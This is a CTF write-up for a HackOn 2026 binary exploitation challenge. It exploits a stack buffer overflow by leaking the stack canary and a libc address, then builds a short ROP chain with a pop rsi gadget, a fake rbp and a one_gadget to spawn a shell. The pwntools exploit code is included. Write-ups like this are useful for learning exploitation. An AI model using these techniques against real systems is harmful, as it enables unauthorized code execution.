Intro
This was a challenge from HackOn 2026 CTF created by @lokete. It involved a buffer overflow vulnerability that allowed us to leak the stack canary and a libc address. With both leaks, we were able to compute the libc base and craft a ropchain using a one_gadget to spawn a shell.
Leaking canary
Looking at the code given from ghidra, we can see that there is a buffer overflow vulnerability in the plin() function:
void plin(void)
{
int iVar1;
long in_FS_OFFSET;
char local_68 [88];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
while( true ) {
read(0,local_68,0x80);
iVar1 = strcmp(local_68,"plin plin plon");
if (iVar1 == 0) break;
puts(local_68);
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
This function runs in a loop and keeps reading and echoing user input into a local buffer. Each iteration reads 0x80 (128) bytes into a buffer that is only 88 bytes long. The loop stops when the user inputs the string “plin plin plon”.
Leaking the canary is quite straightforward. Since the program echoes our input back, we can overflow the buffer just enough to overwrite the first byte of the canary.
The stack canary always starts with a null byte \x00. By sending 89 bytes, we overwrite that first null byte with a non‑zero value so that when the program prints our input, it continues past the original buffer boundary and leaks the remaining 7 bytes of the canary.
io.send(b"A" * 89)
io.recvuntil(b"A" * 89)
canary = u64(b"\x00" + io.recv(7))
log.success(f"canario: {hex(canary)}")
Leaking libc
The next step is to leak a libc address in order to calculate the libc base. Since the plin() function runs in a loop, we can perform a second overflow to leak pointers remaining on the stack from previous function calls.
By inspecting the stack with PWNDBG, we can identify a frame that eventually reaches libc. In particular, there is a saved return address pointing to __libc_start_main+128. This address is not directly reachable with a single 128‑byte overflow, since it lies deeper in the caller’s stack frame. However, just before this return address, there is a saved base pointer at a fixed offset from the libc address that we can leak.
Leaking 0x7ffff7c29d90, which is at a constant offset from __libc_start_main+128, allows us to calculate the libc base reliably.

Since this saved RBP likely belongs to another libc function not explicitly identified by PWNDBG, its constant offset relative to __libc_start_main is sufficient for calculating the libc base.
io.send(b"B"*(88+8*4))
io.recvuntil(b"B"*(88+8*4))
none_leak = io.recv(6)
none_leak = u64(none_leak.ljust(8, b"\x00"))
log.success(f"None: {hex(none_leak)}")
libc_leak = none_leak + 176
log.success(f"Libc: {hex(libc_leak)}")
libc.address = libc_leak - libc.sym['__libc_start_main'] - 0x80
log.success(f"Libc base: {hex(libc.address)}")
Setting up the ROP chain
Now that we have the canary and the libc base, we can build the ROP chain to spawn a shell.
My first idea was to use a one_gadget. However, every one_gadget I found had constraints that were not satisfied in the current stack state.

Since we only have 40 bytes available for the ROP chain, building a full manual ret2libc chain (setting up rdi, rsi, rdx, etc.) was not possible, as there simply wasn’t enough space to fit all the required gadgets while keeping the stack properly aligned.
Up until now, every time I used a one_gadget, the constraints happened to be satisfied “by default”, so I never had to think about setting them up manually. After several failed attempts at crafting a traditional ROP chain, I decided to give it a go and try to satisfy the constraints of a one_gadget manually.
The one_gadget I chose had the following constraints:
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
Really not that difficult contstraints, but because I haven’t done this before, it wasnt my first approach. This simple code make the work for setting up rsi, as rdx was already NULL in the stack:
rop = ROP(libc)
one_gadget_offset = 0xebc88
final_gadget = libc.address + one_gadget_offset
POP_RSI = rop.find_gadget(['pop rsi', 'ret'])[0]
payload = b"plin plin plon\x00"
payload += b"A" * (88 - len(payload))
payload += p64(canary)
payload += p64(POP_RSI)
payload += p64(0)
payload += p64(final_gadget)
Handling the “leave; ret”
When we send the payload, we overwrite the return address of the plin() function with the address of our one_gadget. However, there is a problem: the last instructions of plin() are leave ; ret, meaning that before returning to our one_gadget, the function executes leave. This instruction does two things: it sets rsp to the value of rbp and then pops the top of the stack into rbp.
If we overwrite the saved rbp with an invalid value (for example 0x00), the program crashes while executing leave before reaching the one_gadget. If rbp does not contain a valid mapped address, execution stops immediately.
To prevent this, we need to provide a valid value as the saved rbp. It doesn’t need to point to anything specific for our ROP chain, just to a valid mapped address so that the leave instruction can complete safely.
A convenient choice is libc.sym['environ'], which points to the environment variables stored on the stack. Since we already know the libc base, we can calculate its address and use it as a valid target. By placing it as a fake rbp, the leave ; ret sequence completes successfully and our one_gadget is executed, giving us a shell.
rop = ROP(libc)
one_gadget_offset = 0xebc88
final_gadget = libc.address + one_gadget_offset
POP_RSI = rop.find_gadget(['pop rsi', 'ret'])[0]
fake_rbp = libc.sym['environ']
payload = b"plin plin plon\x00"
payload += b"A" * (88 - len(payload))
payload += p64(canary)
payload += p64(fake_rbp)
payload += p64(POP_RSI)
payload += p64(0)
payload += p64(final_gadget)
Exploit
Full exploit can be found here